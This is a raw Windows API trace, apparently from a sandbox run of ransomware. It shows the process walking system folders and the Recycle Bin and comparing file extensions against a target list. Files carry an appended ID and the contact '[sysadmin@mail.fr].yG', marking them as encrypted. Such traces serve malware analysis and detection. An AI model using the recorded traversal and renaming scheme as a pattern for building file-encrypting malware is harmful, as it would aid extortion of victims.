	[0178.633] lstrlenW (lpString=".pl") returned 3
	[0178.633] lstrcmpiW (lpString1=".pl", lpString2=".yG") returned -1
	[0178.633] lstrlenW (lpString=".pls") returned 4
	[0178.633] lstrcmpiW (lpString1=".pls", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".pm") returned 3
	[0178.633] lstrcmpiW (lpString1=".pm", lpString2=".yG") returned -1
	[0178.633] lstrlenW (lpString=".png") returned 4
	[0178.633] lstrcmpiW (lpString1=".png", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".pnm") returned 4
	[0178.634] lstrcmpiW (lpString1=".pnm", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".pot") returned 4
	[0178.634] lstrcmpiW (lpString1=".pot", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".potm") returned 5
	[0178.634] lstrcmpiW (lpString1=".potm", lpString2="r].yG") returned -1
	[0178.634] lstrlenW (lpString=".potx") returned 5
	[0178.634] lstrcmpiW (lpString1=".potx", lpString2="r].yG") returned -1
	[0178.634] lstrlenW (lpString=".ppa") returned 4
	[0178.634] lstrcmpiW (lpString1=".ppa", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".ppam") returned 5
	[0178.634] lstrcmpiW (lpString1=".ppam", lpString2="r].yG") returned -1
	[0178.634] lstrlenW (lpString=".ppm") returned 4
	[0178.634] lstrcmpiW (lpString1=".ppm", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".pps") returned 4
	[0178.634] lstrcmpiW (lpString1=".pps", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".ppsm") returned 5
	[0178.634] lstrcmpiW (lpString1=".ppsm", lpString2="r].yG") returned -1
	[0178.634] lstrlenW (lpString=".ppt") returned 4
	[0178.634] lstrcmpiW (lpString1=".ppt", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".pptm") returned 5
	[0178.634] lstrcmpiW (lpString1=".pptm", lpString2="r].yG") returned -1
	[0178.634] lstrlenW (lpString=".pptx") returned 5
	[0178.634] lstrcmpiW (lpString1=".pptx", lpString2="r].yG") returned -1
	[0178.634] lstrlenW (lpString=".prn") returned 4
	[0178.634] lstrcmpiW (lpString1=".prn", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".ps") returned 3
	[0178.634] lstrcmpiW (lpString1=".ps", lpString2=".yG") returned -1
	[0178.634] lstrlenW (lpString=".psb") returned 4
	[0178.634] lstrcmpiW (lpString1=".psb", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".psd") returned 4
	[0178.634] lstrcmpiW (lpString1=".psd", lpString2="].yG") returned -1
	[0178.634] lstrlenW (lpString=".pst") returned 4
	[0178.634] lstrcmpiW (lpString1=".pst", lpString2="].yG") returned -1
	[0178.635] lstrlenW (lpString=".ptx") returned 4
	[0178.635] lstrcmpiW (lpString1=".ptx", lpString2="].yG") returned -1
	[0178.635] lstrlenW (lpString=".pub") returned 4
	[0178.635] lstrcmpiW (lpString1=".pub", lpString2="].yG") returned -1
	[0178.635] lstrlenW (lpString=".pwm") returned 4
	[0178.635] lstrcmpiW (lpString1=".pwm", lpString2="].yG") returned -1
	[0178.635] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e232ed, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e95943, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="OOBE_2~1.YG")) returned 1
	[0178.635] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97f302be, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0178.635] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97f302be, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 0
	[0178.635] FindClose (in: hFindFile=0x6ba500 | out: hFindFile=0x6ba500) returned 1
	[0178.640] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x6a0000) returned 1
	[0178.640] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0178.640] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4281058
	[0178.640] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName=".", cAlternateFileName="")) returned 0x6ba980
	[0178.642] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="..", cAlternateFileName="")) returned 1
	[0178.642] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983b6839, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x983b6839, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98402cea, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="GetCurrentOOBE.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~2.YG")) returned 1
	[0178.642] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97db0c40, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="GetCurrentRollback.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~1.YG")) returned 1
	[0178.642] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983b6839, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x983b6839, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="PartnerSetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0178.642] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98428f1b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98428f1b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984753fa, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="preoobe.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PREOOB~1.YG")) returned 1
	[0178.642] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPC~1.YG")) returned 1
	[0178.643] FindNextFileW (in: hFindFile=0x6ba980, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPC~1.YG")) returned 0
	[0178.643] FindClose (in: hFindFile=0x6ba980 | out: hFindFile=0x6ba980) returned 1
	[0178.644] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x6a0000) returned 1
	[0178.644] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0178.644] FindClose (in: hFindFile=0x6ba7c0 | out: hFindFile=0x6ba7c0) returned 1
	[0178.644] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0178.645] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0178.651] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4270048
	[0178.652] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName=".", cAlternateFileName="")) returned 0x6ba500
	[0178.652] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="..", cAlternateFileName="")) returned 1
	[0178.652] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0178.653] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.653] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x6ba7c0
	[0178.653] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.653] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980bb6c3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980bb6c3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980bb6c3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 1
	[0178.653] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980bb6c3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980bb6c3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980bb6c3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 0
	[0178.653] FindClose (in: hFindFile=0x6ba7c0 | out: hFindFile=0x6ba7c0) returned 1
	[0178.654] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.654] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0178.654] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.654] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x6ba7c0
	[0178.654] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.654] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2763d00c, ftCreationTime.dwHighDateTime=0x1d50842, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0178.788] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980af3dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980af3dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980b2dee, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 1
	[0178.788] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980af3dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980af3dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980b2dee, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdc4e, dwReserved1=0x241, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 0
	[0178.788] FindClose (in: hFindFile=0x6ba7c0 | out: hFindFile=0x6ba7c0) returned 1
	[0178.788] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0178.788] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0178.788] FindClose (in: hFindFile=0x6ba500 | out: hFindFile=0x6ba500) returned 1
	[0178.788] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0178.789] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0178.789] FindNextFileW (in: hFindFile=0x6ba600, lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0178.789] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4270048
	[0178.790] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName=".", cAlternateFileName="")) returned 0x3cf0ea8
	[0178.790] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="..", cAlternateFileName="")) returned 1
	[0178.791] FindNextFileW (in: hFindFile=0x3cf0ea8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="1025", cAlternateFileName="")) returned 1
	[0178.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4280050
	[0178.791] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName=".", cAlternateFileName="")) returned 0x3cf1028
	[0178.792] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="..", cAlternateFileName="")) returned 1
	[0178.792] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x984753fa, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x984753fa, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x988edb1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffe240, dwReserved1=0x241, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
